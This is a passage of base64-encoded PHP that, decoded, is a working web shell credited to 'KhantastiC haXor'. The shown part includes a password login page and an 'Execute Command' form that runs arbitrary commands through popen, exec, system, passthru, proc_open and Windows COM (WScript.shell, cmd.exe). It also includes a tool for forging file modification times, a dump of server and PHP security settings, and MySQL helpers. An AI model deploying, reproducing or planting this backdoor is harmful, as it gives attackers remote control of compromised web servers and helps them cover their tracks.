ZSgnaGF6JywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFy
cmF5KCd0aXRsZSc9PidBbHRlciBmaWxlJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3Bm
aWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9
PidSZWZlcmVuY2UgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEy
MCwnbmV3bGluZSc9PjEpKTsKCWZvcm1mb290ZXIoKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9
PidTZXQgbGFzdCBtb2RpZmllZCcpKTsKCW1ha2VoaWRlKCdoYXonLCdmaWxlJyk7CgltYWtlaGlk
ZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZmls
ZSAoZnVsbHBhdGgpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+
MTIwLCduZXdsaW5lJz0+MSkpOwoJcCgnPHA+SW5zdGVhZCAmcmFxdW87Jyk7CglwKCd5ZWFyOicp
OwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3llYXInLCd2YWx1ZSc9PmRhdGUoJ1knLCRvcGZp
bGVtdGltZSksJ3NpemUnPT40KSk7CglwKCdtb250aDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFt
ZSc9Pidtb250aCcsJ3ZhbHVlJz0+ZGF0ZSgnbScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsK
CXAoJ2RheTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYXknLCd2YWx1ZSc9PmRhdGUo
J2QnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdob3VyOicpOwoJbWFrZWlucHV0KGFy
cmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUn
PT4yKSk7CglwKCdtaW51dGU6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbWludXRlJywn
dmFsdWUnPT5kYXRlKCdpJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnc2Vjb25kOicp
OwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3NlY29uZCcsJ3ZhbHVlJz0+ZGF0ZSgncycsJG9w
ZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJzwvcD4nKTsKCWZvcm1mb290ZXIoKTsKfQplbHNl
aWYoJGhheiA9PSAnc2gnKSB7CglpZihJU19XSU4gJiYgSVNfQ09NKSB7CgkJaWYoJHByb2dyYW0g
JiYgJHBhcmFtZXRlcikgewoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7
CgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7CgkJCW0o
J1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsKCQl9CgkJISRw
cm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7CgkJISRw
YXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLkZfUk9PVC4nbG9nLnR4
dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtl
aGlkZSgnaGF6Jywnc2gnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCdu
YW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxw
PicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJh
bWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4n
c3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUn
KSk7CgkJcCgiPC9wPlxuPC9mb3JtPiIpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4
ZWN1dGUgQ29tbWFuZCcpKTsKCW1ha2VoaWRlKCdoYXonLCdzaCcpOwoJaWYoSVNfV0lOICYmIElT
X0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3Jp
cHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFy
cmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVu
Y2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJ
bWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9PidleCcsJ3ZhbHVlJz0+
JGV4KSk7CgltYWtlaW5wdXQoYXJyYXkoJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2
YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgiPC9wPlxuPC9mb3JtPiIpOwoJaWYoJGV4KSB7CgkJcCgn
PGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlPjxwcmU+Jyk7CgkJaWYoJGV4ZWNmdW5jPT0nd3Njcmlw
dCcgJiYgSVNfV0lOICYmIElTX0NPTSkgewoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVs
bCcpOwoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kZXgpOwoJCQkkc3Rkb3V0
ID0gJGV4ZWMtPlN0ZE91dCgpOwoJCQkkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOwoJ
CQllY2hvICRzdHJvdXRwdXQ7CgkJfSBlbHNlaWYoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJ
U19XSU4gJiYgSVNfQ09NKSB7CgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAoJCQkgICAwID0+
IGFycmF5KCdwaXBlJywgJ3InKSwKCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksCgkJCSAg
IDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpCgkJCSk7CgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRf
U0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCQkJaWYoaXNfcmVz
b3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkZXguIlxyXG4iKTsKCQkJ
CWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOwoJCQkJZmNsb3NlKCRwaXBlc1swXSk7CgkJ
CQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAx
MDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOwoJCQkJd2hpbGUgKCFmZW9mKCRwaXBl
c1syXSkpIHsKCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7CgkJCQl9CgkJCQlmY2xv
c2UoJHBpcGVzWzJdKTsKCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOwoJCQl9CgkJfSBlbHNlIHsK
CQkJZWNobyhodG1sc3BlY2lhbGNoYXJzKG15Y21kKCRleCkpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7
Cgl9Cn0KZWxzZWlmKCRoYXo9PSdlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRz
JykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRt
aW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVS
X0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSRpbmZvID0gYXJyYXkoCgkJMSA9
PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksCgkJ
MiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLAoJCTMg
PT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUn
XSkpLAoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwKCQk1ID0+IGFycmF5KCdTZXJ2
ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAoJCTYgPT4g
YXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwKCQk3
ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwKCQk4
ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksCgkJ
OSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSwK
CQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwKCQkxMSA9PiBhcnJheSgn
UEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2hheihcJ3BocGlu
Zm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRj
ZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFp
bCksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9w
ZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJ
MTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJ
CTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMn
KSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVz
X2dwYycpKSwKCQkxOSA9PiBhcnJheSgnT3BlbiBCYXNlZGlyJyxnZXRjZmcoJ29wZW5fYmFzZWRp
cicpKSwKCQkyMCA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcp
KSwKCQkyMSA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykp
LAoJCTIyID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMyA9PiBh
cnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicg
c2Vjb25kKHMpJyksCgkJMjQgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJyxqb2luKCcgJywg
bm9mdW5jKCkpKSwKCSk7CglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAn
LmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NlcnZl
ciBlbnZpcm9ubWVudCcpKTsKCW1ha2VoaWRlKCdoYXonLCdlbnYnKTsKCW1ha2VpbnB1dChhcnJh
eSgndGl0bGUnPT4nUGxlYXNlIGlucHV0IFBIUCBjb25maWd1cmF0aW9uIHBhcmFtZXRlcihlZzpt
YWdpY19xdW90ZXNfZ3BjKScsJ25hbWUnPT4ncGhwdmFybmFtZScsJ3ZhbHVlJz0+JHBocHZhcm5h
bWUsJ25ld2xpbmUnPT4xKSk7Cglmb3JtZm9vdGVyKCk7CgkkaHAgPSBhcnJheSgwPT4gJ1NlcnZl
cicsIDE9PiAnUEhQJyk7Cglmb3IoJGE9MDskYTwyOyRhKyspIHsKCQlwKCc8aDI+Jy4kaHBbJGFd
LicgJnJhcXVvOzwvaDI+Jyk7CgkJcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsKCQlpZigkYT09MCkg
ewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4n
OjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0gZWxzZWlmKCRhID09IDEpIHsK
CQkJZm9yKCRpPTEwOyRpPD0yNDskaSsrKSB7CgkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4n
OjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9
ZWxzZSB7Cm0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsKfQo/PgoKPC90ZD48L3RyPjwvdGFibGU+Cjxk
aXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRl
ci10b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+CjxzcGFuIHN0eWxlPSJmbG9h
dDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPiBDb3B5
cmlnaHQgJmNvcHk7MjAxMS08P3BocCBlY2hvIGRhdGUoJ1knKTs/PiA8YSBocmVmPSJodHRwOi8v
S2hhbnRhc3RpQy5vckcvIiB0YXJnZXQ9Il9ibGFuayI+S2hhbnRhc3RpQyBoYVhvcjwvYT4gQWxs
IFJpZ2h0cyBSZXNlcnZlZC4KPC9kaXY+CjwvYm9keT4KPC9odG1sPgo8P3BocApmdW5jdGlvbiBt
KCRtLCRjPSdtJykge2VjaG8gIjxkaXYgY2xhc3M9XCIkY1wiPiRtPC9kaXY+XG4iO30KZnVuY3Rp
b24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsKCWdsb2Jh
bCAkYWRtaW4sICR0aW1lc3RhbXAsICRfU0VSVkVSOwoJJGtleSA9ICgkcHJlZml4ID8gJGFkbWlu
Wydjb29raWVwcmUnXSA6ICcnKS4ka2V5OwoJJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWlu
Wydjb29raWVsaWZlJ107CgkkdXNlcG9ydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0
MyA/IDEgOiAwOwoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVzdGFtcCskbGlmZSwgJGFk
bWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10sICR1c2Vwb3J0KTsKfQpm
dW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsKCSRt
dWx0aXBhZ2UgPSAnJzsKCWlmKCRudW0gPiAkcGVycGFnZSkgewoJCSRwYWdlID0gMTA7CgkJJG9m
ZnNldCA9IDU7CgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsKCQlpZigkcGFnZSA+
ICRwYWdlcykgewoJCQkkZnJvbSA9IDE7CgkJCSR0byA9ICRwYWdlczsKCQl9IGVsc2UgewoJCQkk
ZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsKCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRv
ZmZzZXQgLSAxOwoJCQlpZigkZnJvbSA8IDEpIHsKCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRm
cm9tOwoJCQkJJGZyb20gPSAxOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8g
LSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkdG8gPSAkcGFnZTsKCQkJCX0KCQkJfSBlbHNlaWYo
JHRvID4gJHBhZ2VzKSB7CgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOwoJCQkJ
JHRvID0gJHBhZ2VzOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJv
bSkgPCAkcGFnZXMpIHsKCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsKCQkJCX0KCQkJ
fQoJCX0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4g
JHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcs
IFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJq
YXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2Ug
LSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7CgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsg
JGkrKykgewoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhy
ZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicp
OyI+WycuJGkuJ108L2E+ICc7CgkJfQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2Vz
ID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wn
LCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAn
IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAn
LiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsKCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/
ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOwoJfQoJcmV0dXJuICRtdWx0aXBh
Z2U7Cn0KZnVuY3Rpb24gbG9naW5wYWdlKCkgeyA/PgoKPGh0bWw+PGhlYWQ+CjxtZXRhIG5hbWU9
InJvYm90cyIgY29udGVudD0ibm9pbmRleCxub2ZvbGxvdyxub2FyY2hpdmUiPgo8c3R5bGUgdHlw
ZT0idGV4dC9jc3MiPgoqe2ZvbnQ6MTFweCBWZXJkYW5hO31pbnB1dCB7YmFja2dyb3VuZDojRkZG
O2xpbmUtaGVpZ2h0OjE4cHg7Ym9yZGVyOjFweCBzb2xpZCAjNjY2O30KPC9zdHlsZT4KPC9oZWFk
Pgo8Ym9keT4KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGVjaG8gJHNlbGY7Pz4i
PgpQYXNzd29yZDogPGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0i
MjAiIHZhbHVlPSIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9Imxv
Z2luIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4KPC9mb3JtPgo8L2JvZHk+
PC9odG1sPgo8P3BocCBleGl0Owp9CmZ1bmN0aW9uIG15Y21kKCRjKSB7CiRyZT0nJzsKCWlmKCRj
KSB7CgkkcGk9YXJyYXkoYXJyYXkoJ3BpcGUnLCdyJyksYXJyYXkoJ3BpcGUnLCd3JyksYXJyYXko
J3BpcGUnLCd3JykpOwoJaWYoaXNmdW5jKCdwb3BlbicpICYmIEBpc19yZXNvdXJjZSgkZj1wb3Bl
bigkYy4nIDI+JjEnLCdyJykpKSB7JHJlLj1ncmVzKCRmKTtAcGNsb3NlKCRmKTt9CgllbHNlaWYo
aXNmdW5jKCdwcm9jX29wZW4nKSAmJiBAaXNfcmVzb3VyY2UoJGY9cHJvY19vcGVuKCRjLCRwaSwk
cGlwZXMpKSkgeyRyZS49Z3JlcygkcGlwZXNbMV0pOyRyZS49Z3JlcygkcGlwZXNbMl0pO2ZvcmVh
Y2goJHBpcGVzIGFzICRwcClmY2xvc2UoJHBwKTtAcHJvY19jbG9zZSgkZik7fQoJZWxzZWlmKGlz
ZnVuYygnZXhlYycpKXtleGVjKCRjLCRyZSk7JHJlPWpvaW4oIlxuIiwkcmUpO30KCWVsc2VpZihp
c2Z1bmMoJ3NoZWxsX2V4ZWMnKSl7JHJlPXNoZWxsX2V4ZWMoJGMpO30KCWVsc2VpZihpc2Z1bmMo
J3N5c3RlbScpKSB7b2Jfc3RhcnQoKTtzeXN0ZW0oJGMpOyRyZT1Ab2JfZ2V0X2NvbnRlbnRzKCk7
QG9iX2VuZF9jbGVhbigpO30KCWVsc2VpZihpc2Z1bmMoJ3Bhc3N0aHJ1Jykpe29iX3N0YXJ0KCk7
cGFzc3RocnUoJGMpOyRyZT1Ab2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO30KCX0K
cmV0dXJuICRyZTsKfQpmdW5jdGlvbiBub2Z1bmMoKXskcj1leHBsb2RlKCcsJyxAaW5pX2dldCgi
ZGlzYWJsZV9mdW5jdGlvbnMiKSk7cmV0dXJuIGVtcHR5KCRyKT9hcnJheSgpOiRyO30KZnVuY3Rp
b24gaXNmdW5jKCRmKXtyZXR1cm4gKGZ1bmN0aW9uX2V4aXN0cygkZikgJiYgaXNfY2FsbGFibGUo
JGYpICYmICFpbl9hcnJheSgkZixub2Z1bmMoKSkpPzE6MDt9CmZ1bmN0aW9uIGdyZXMoJHIpe2lm
KCFpc2Z1bmMoJ3N0cmVhbV9nZXRfY29udGVudHMnKSl7d2hpbGUoIWZlb2YoJHIpKXskcmUuPWZy
ZWFkKCRyLDQwOTYpO319ZWxzZXskcmUuPXN0cmVhbV9nZXRfY29udGVudHMoJHIpO31yZXR1cm4g
JHJlO30KZnVuY3Rpb24gd2hpY2goJHByKXskcGF0aCA9IG15Y21kKCJ3aGljaCAkcHIiKTtyZXR1
cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpO30KZnVuY3Rpb24gc3ZfZmlsZSgkZiwkYykgewoJaWYo
ZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7cmV0dXJuIEBmaWxlX3B1dF9j
b250ZW50cygkZiwkYyk7fQoJZWxzZXsKCSRyPWZhbHNlOwoJaWYoJGZwPUBmb3BlbigkZiwndycp
KXsKCQlAZndyaXRlKCRmcCwkYyk7CgkJQGZjbG9zZSgkZnApOwoJCSRyPXRydWU7Cgl9CglyZXR1
cm4gJHI7Cgl9Cn0KZnVuY3Rpb24gZGVidWdpbmZvKCkge2dsb2JhbCAkc3RhcnR0aW1lOyRtdGlt
ZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7JHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQo
KCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTtlY2hvICdQcm9jZXNzZWQg
aW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzt9CmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRk
YnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7Cglp
ZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAk
ZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4n
KTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmKCFAbXlzcWxfc2VsZWN0
X2RiKCRkYm5hbWUsICRsaW5rKSkgewoJCQlwKCc8aDI+RGF0YWJhc2Ugc2VsZWN0ZWQgaGFzIGVy
cm9yPC9oMj4nKTsKCQkJZXhpdDsKCQl9Cgl9CglpZigkbGluayAmJiBteXNxbF9nZXRfc2VydmVy
X2luZm8oKSA+ICc0LjEnKSB7CgkJaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFy
cmF5KCdsYXRpbjEnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0
aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsCmNoYXJhY3Rlcl9z
ZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CmZ1bmN0
aW9uIHNfYXJyYXkoJiRhcnJheSkgewoJaWYoaXNfYXJyYXkoJGFycmF5KSkgewoJCWZvcmVhY2gg
KCRhcnJheSBhcyAkayA9PiAkdikgewoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7CgkJfQoJ
fSBlbHNlIGlmKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRh
cnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQp
IHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCwgRU5UX1FVT1RFUyk7Cgkk
Y29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcbiIsJyAgJywiXHQiKSwgYXJyYXkoIjxiciAv
PiIsJyZuYnNwOyZuYnNwOycsJyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOycpLCAkY29udGVudCk7
CglyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gZ2V0Q2htb2QoJGZpbGVwYXRoKXsKCXJldHVy
biBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7Cn0K
ZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7CgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVw
YXRoKTsKCWlmKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVs
c2VpZigoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9CgllbHNlaWYo
KCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQoJZWxzZWlmKCgkbW9k
ZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZigoJG1vZGUgJiAw
eDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9CgllbHNlaWYoKCRtb2RlICYgMHgyMDAw
KSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAnYyc7fQoJZWxzZWlmKCgkbW9kZSAmIDB4MTAwMCkgPT09
IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCSRvd25lclsncmVh
ZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOwoJJG93bmVyWyd3cml0ZSddID0gKCRt
b2RlICYgMDAyMDApID8gJ3cnIDogJy0nOwoJJG93bmVyWydleGVjdXRlJ10gPSAoJG1vZGUgJiAw
MDEwMCkgPyAneCcgOiAnLSc7CgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdy
JyA6ICctJzsKCSRncm91cFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsK
CSRncm91cFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOwoJJHdvcmxk
